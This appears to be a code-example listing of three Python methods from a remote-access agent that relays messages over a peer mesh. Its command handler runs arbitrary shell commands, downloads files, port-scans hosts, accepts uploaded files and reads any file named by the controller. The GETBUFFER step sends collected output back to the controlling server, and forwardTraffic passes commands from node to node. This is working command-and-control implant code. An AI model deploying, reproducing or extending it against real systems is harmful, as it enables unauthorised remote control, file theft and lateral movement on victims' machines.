Ejemplo n.º 1
0
 def forwardTraffic(self, srcip, srcport, dstip, dstport, msg):
     for uid in self.neighbors:
         if (self.neighbors[uid].location == "Mesh"):
             if (self.neighbors[uid].ip
                     == dstip) and (self.neighbors[uid].port == dstport):
                 # connect and send
                 remote_sock = Comms.create_direct_socket(
                     self.neighbors[uid].ip, self.neighbors[uid].port)
                 if (remote_sock):
                     Comms.sendMsg(
                         remote_sock, srcip + ":" + str(srcport) + ":" +
                         dstip + ":" + str(dstport) + ":" + msg)
                     msg = srcip + ":" + str(
                         srcport) + ":" + dstip + ":" + str(
                             dstport) + ":" + msg
                     remote_sock.close()
                 else:
                     print("FAILED TO SEND")
                 return
     for uid in self.neighbors:
         if (self.neighbors[uid].location == "Mesh"):
             if not ((self.neighbors[uid].ip == srcip) and
                     (self.neighbors[uid].port == srcport)):
                 # connect and send
                 remote_sock = Comms.create_direct_socket(
                     self.neighbors[uid].ip, self.neighbors[uid].port)
                 if (remote_sock):
                     Comms.sendMsg(
                         remote_sock, srcip + ":" + str(srcport) + ":" +
                         dstip + ":" + str(dstport) + ":" + msg)
                     remote_sock.close()
                 else:
                     print("FAILED TO SEND")
     return
Ejemplo n.º 2
0
    def client(self, host, port):
        slist = []  #array of client sockets

        # start the multicast probes
        self.probeNeighbors()

        if (host and port):
            remote_server_sock = Comms.create_direct_socket(host, port)
            slist.append(remote_server_sock)

        # add mesh listener if necessary
        if (self.meshListener):
            slist.append(self.meshListener)
            print("MeshNet Listener started on port: " + str(self.meshPort))

        while (1):
            self.addNeighbor()
            # get the list sockets which are ready to be read through select
            # 4th arg, time_out  = 0 : poll and never block
            ready_to_read, ready_to_write, in_error = select.select(
                slist, [], [], 0)

            for sock in ready_to_read:
                if (self.meshListener) and (sock == self.meshListener):
                    sockfd, addr = sock.accept()
                    msg = Comms.readMsg(sockfd, 4096)

                    # construct msg hash
                    m = hashlib.sha256()
                    m.update(msg.encode('ISO-8859-1'))
                    hash_key = m.hexdigest()
                    timestamp = datetime.datetime.now()

                    good = True
                    if hash_key in self.hashMsgs:
                        stored_timestamp = datetime.datetime.strptime(
                            self.hashMsgs[hash_key], '%Y-%m-%d %H:%M:%S.%f')
                        if (timestamp <= (stored_timestamp +
                                          datetime.timedelta(minutes=10))):
                            good = False

                    # if we have not seen the message before then process it
                    if good:
                        self.hashMsgs[hash_key] = str(timestamp)
                        (srcip, srcport, dstip, dstport,
                         data) = msg.split(':', 4)

                        # set mesh server ip:port
                        self.meshServerIP = srcip
                        self.meshServerPort = int(srcport)

                        if (dstip == self.ip) and (int(dstport)
                                                   == self.meshPort):
                            #process msg
                            self.client_process_cmds(data, None)
                        else:
                            self.forwardTraffic(srcip, srcport, dstip, dstport,
                                                data)
                elif (sock == remote_server_sock
                      ):  # a new connection request received
                    msg = Comms.readMsg(sock, 4096)
                    msg = msg.lstrip('\r\n')
                    self.client_process_cmds(msg, sock)
Ejemplo n.º 3
0
    def client_process_cmds(self, msg, sock):
        if (msg.startswith("EXIT")):
            sys.stdout.write("Client Terminated!!!\r\n")
            self.cleanup()
        elif (msg.startswith("SCAN")):
            p = re.compile("SCAN:(.+?):(.+?):(.+)")
            m = p.match(msg)
            if (m):
                print("Scanning: " + m.group(1) + "  " + m.group(2) + "-" +
                      m.group(3))
                self.outputBuf += '\r\n'.join(
                    str(x) for x in Scanner.scan(
                        m.group(1), range(int(m.group(2)), int(m.group(3)))))
                print("finished")
                print(self.outputBuf)
        elif (msg.startswith("WGET")):
            p = re.compile("WGET\s+(.+)")
            m = p.match(msg)
            if (m):
                print("Getting: " + m.group(1))
                Utils.wget(m.group(1))
        elif (msg.startswith("EXEC")):
            p = re.compile("EXEC\s+(.+)")
            m = p.match(msg)
            if (m):
                sys.stdout.write("Executing [%s]\n" % m.group(1))

                self.outputBuf += "\n\n" + Utils.execWait(
                    m.group(1)).decode('unicode_escape')

                #pid = Utils.exec(m.group(1))
                #self.proclist[pid] = m.group(1)
            else:
                None
        elif (msg.startswith("PROCLIST")):
            for pid in self.proclist:
                self.outputBuf += str(pid) + "    " + self.proclist[pid] + '\n'
        elif (msg.startswith("EXIST")):
            (tmp, cmd) = msg.split(':', 1)
            result = "false"
            (short_cmd, args) = cmd.split(' ')
            if (Utils.which(short_cmd)):
                result = "true"
            Comms.sendMsg(sock, result)
        elif (msg.startswith("CLEARBUFFER")):
            self.outputBuf = ""
        elif (msg.startswith("GETBUFFER")):
            created_sock = False
            if not sock:
                # assume we are returning something to the mesh server
                sock = Comms.create_direct_socket(self.meshServerIP,
                                                  int(self.meshServerPort))
                created_sock = True
                self.outputBuf = self.ip + ":" + str(
                    self.meshPort) + ":" + self.meshServerIP + ":" + str(
                        self.meshServerPort) + ":" + self.outputBuf

            Comms.sendMsg(sock, self.outputBuf)

            if created_sock:
                sock.close()
        elif (msg.startswith("PUSH")):
            (tmp, filename, file_len, file_data) = msg.split(':', 3)
            filename = os.path.basename(filename)
            print("received file: " + filename)
            filename_orig = filename
            filename = "tmp/" + filename
            if (Utils.fileExists(filename)):
                filename += "_" + Utils.getRandStr(5)
            self.pushedfiles[filename_orig] = filename
            Utils.writeFile(file_data, filename, "ab")
        elif (msg.startswith("PULL")):
            (tmp, filename) = msg.split(':', 1)
            file_data = ""
            if (Utils.fileExists(filename)):
                file_t = open(filename, "rb")
                file_data = file_t.read()
            self.outputBuf = file_data.decode()
        elif (msg.startswith("NEIGHBORS")):
            self.outputBuf = '\n'.join(self.listNeighbors())
        else:
            sys.stdout.write(msg)